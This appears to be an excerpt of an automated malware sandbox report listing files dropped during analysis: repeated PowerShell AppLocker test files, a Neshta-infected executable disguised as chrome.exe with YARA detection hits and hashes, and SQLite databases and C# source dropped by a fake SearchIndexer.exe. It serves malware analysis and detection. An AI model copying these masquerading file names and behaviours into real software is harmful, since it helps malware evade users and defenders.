                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ntp2sjzu.kaf.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvnvkt4q.j33.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojpeqfua.0m0.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oqqxxnmq.m4t.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pcccqoii.p0z.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qc0rprqo.bqv.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qiqxkuyb.qiq.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qj2nnrcr.umt.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qu5pzq0j.3wl.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qud4xt0f.g5u.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5cmawuk.zgc.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rp5gqegz.1nv.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqoeftu5.n1t.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rui3zbta.0ya.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1h45sjm.fgk.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sbwxtpgz.nwa.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_shxgu0tq.ewv.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t302wcb3.iee.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_thkcga20.qmo.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vuzwz2bo.eqa.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wywuyjmt.vad.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxxq42lz.rie.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\chrome.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):182272
                                                                  Entropy (8bit):6.784375621590053
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C/sWLuzeHpl18fCtnRPF9EVnb43jaI5gr/uHqZLWfp2KkvL5kdnQB:k9/9mCtnRPF9cCGr/uH0gkSdQB
                                                                  MD5:73F73E565BCCA28C58B8CD91DC1056AD
                                                                  SHA1:AB7B58E90994D016DFD7937556FDEA6FE13ABA22
                                                                  SHA-256:A0AC3CF26C12A9727FE6986DB32F255CBBCD6E45B063022E79C74DBD3787546C
                                                                  SHA-512:460230C3F943A4626BFF45040B26D0C542140DD7EED6F58FF0D9412125359219DAE252080ACF27A2DAC15AC6C9FE4A32277D185D727841D0B719DF4D3356225E
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Users\user\AppData\Local\Temp\chrome.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\du9J7QrHWH

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):106496
                                                                  Entropy (8bit):1.1358696453229276
                                                                  Encrypted:false
                                                                  SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                  MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                  SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                  SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                  SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\ev4B0fUIRv

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):25
                                                                  Entropy (8bit):4.023465189601647
                                                                  Encrypted:false
                                                                  SSDEEP:3:ZKB8T:h
                                                                  MD5:8958CFE4D41991EA375AF2B585CD5DFA
                                                                  SHA1:FA435CB0D72EF95AAD17F9E86E8AC8759548D4CC
                                                                  SHA-256:DA0C82E406FB4F02DD52552458BA3F7D337D632D52864614929B561AFA0C8F73
                                                                  SHA-512:69A51E07C5BD088BD6EFA111D55064E34B0F5883F89D2B59B3867B7B5AC41104687AB9382B8D0253BF0BA5D4F83856B95373FCD216C54F88705FBB53B7D0D32A
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:LNFLHEe1plpcv1lpQRxO2qRl8

                                                                  C:\Users\user\AppData\Local\Temp\q0YGnVXTIe

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                  Category:dropped
                                                                  Size (bytes):40960
                                                                  Entropy (8bit):0.8553638852307782
                                                                  Encrypted:false
                                                                  SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                  MD5:28222628A3465C5F0D4B28F70F97F482
                                                                  SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                  SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                  SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.0.cs

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:C++ source, Unicode text, UTF-8 (with BOM) text
                                                                  Category:dropped
                                                                  Size (bytes):404
                                                                  Entropy (8bit):4.912567083546639
                                                                  Encrypted:false
                                                                  SSDEEP:12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBL6LSMWiFkD:JNVQIbSfhV7TiFkMSfhWLSMnFkD
                                                                  MD5:979D8B47F5A9EF8B86C171466496CF6C
                                                                  SHA1:8B362E9A5F4F3FC26A492262CCC6C68A05C4691D
                                                                  SHA-256:633A7302905877D263D77ACF8B540ADA8A03D8433900AFAF46698EBB152A25F7
                                                                  SHA-512:133F76B037DF539A1881A6419DF7050D35854BF12C74EE78AD5A4733CCEBFA009C8781064DCBC07CCD33EB91CD80E6038CEE6E5282D28F15C6852C73704C072E
                                                                  Malicious:false
                                                                  Reputation:unknown
